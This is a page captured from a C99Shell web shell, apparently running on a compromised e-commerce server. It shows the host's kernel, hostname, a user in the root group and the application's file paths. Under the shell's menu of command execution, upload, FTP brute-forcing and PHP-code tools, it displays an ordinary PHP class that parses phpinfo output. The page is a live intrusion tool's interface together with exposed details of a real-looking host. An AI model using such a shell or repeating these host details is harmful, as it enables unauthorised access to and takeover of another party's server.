!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Lib/   drwxr-xr-x
Free 26.26 GB of 117.98 GB (22.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PhpInfo.php (4.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Lib;

class 
PhpInfo
{

    
/**
     * phpinfo constructor.
     */
    
function __construct()
    {
    }

    
/**
     * @param bool $tb
     * @return array
     */
    
static public function phpinfo_general($tb false)
    {
        return 
self::_parse_phpinfo(INFO_GENERAL$tb);
    }

    
/**
     * @param bool $tb
     * @return array
     */
    
static public function phpinfo_configuration($tb false)
    {
        return 
self::_parse_phpinfo(INFO_CONFIGURATION$tb);
    }

    
/**
     * @param bool $tb
     * @return array
     */
    
static public function phpinfo_environment($tb false)
    {
        return 
self::_parse_phpinfo(INFO_ENVIRONMENT$tb);
    }

    
/**
     * @param bool $tb
     * @return array
     */
    
static public function phpinfo_variable($tb false)
    {
        return 
self::_parse_phpinfo(INFO_VARIABLES$tb);
    }

    
/**
     * @param bool $tb
     * @return array
     */
    
static public function phpinfo_modules($tb false)
    {
        
$cat "None";
        
$info_arr = [];
        
ob_start();

        if (
function_exists('phpinfo') && phpinfo(INFO_MODULES)) {
            
$info_lines explode("\n"strip_tags(ob_get_clean(), "<tr><td><h2>"));

            foreach (
$info_lines as $line) {
                if (
preg_match("~<h2>(.*)</h2>~"$line$title)) $cat $title[1];
                if
                (
                    
preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~"$line$val)
                    OR
                    
preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~"$line$val)
                ) {
                    if (
$tb$info_arr[$cat][] = array("n" => trim($val[1]), "v" => trim(str_replace(';''; '$val[2])));
                    else 
$info_arr[$cat][trim($val[1])] = trim(str_replace(';''; '$val[2]));
                }
            }
        }

        return 
$info_arr;
    }

    
/**
     * @param bool $tb
     * @return array
     */
    
static public function phpinfo_credits($tb false)
    {
        return 
self::_parse_phpinfo(INFO_CREDITS$tb);
    }

    
/**
     * @return string
     */
    
static public function phpinfo_license()
    {
        
$license_string '';
        
ob_start();

        if (
function_exists('phpinfo') && phpinfo(INFO_LICENSE)) {
            
$info_lines explode("\n"strip_tags(ob_get_clean(), "<tr><td><h2>"));
            
$license_string implode('. ', array($info_lines[29], $info_lines[31], $info_lines[33]));
        }

        return 
$license_string;
    }

    
/**
     * @param bool $tb
     * @return array
     */
    
static public function all($tb false)
    {
        
$res = array();
        
$res["General"] = self::phpinfo_general($tb);
        
$res["Configuration"] = self::phpinfo_configuration($tb);
        
$res["Environment"] = self::phpinfo_environment($tb);
        
$res["Variable"] = self::phpinfo_variable($tb);
        
$res["Modules"] = self::phpinfo_modules($tb);
        
$res["Credits"] = self::phpinfo_credits($tb);
        
$res["License"] = self::phpinfo_license();
        return 
$res;
    }

    
/**
     * @param $type
     * @param bool $tb
     * @return array
     */
    
static private function _parse_phpinfo($type$tb)
    {
        
$info_arr = [];
        
ob_start();

        if (
function_exists('phpinfo') && phpinfo($type)) {
            
$info_lines explode("\n"strip_tags(ob_get_clean(), "<tr><td><h2>"));

            foreach (
$info_lines as $line) {
                if
                (
                    
preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~"$line$val)
                    OR
                    
preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~"$line$val)
                ) {
                    if (
$tb$info_arr[] = array("n" => trim($val[1]), "v" => trim(str_replace(';''; '$val[2])));
                    else 
$info_arr[trim($val[1])] = trim(str_replace(';''; '$val[2]));
                }
            }
        }

        return 
$info_arr;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--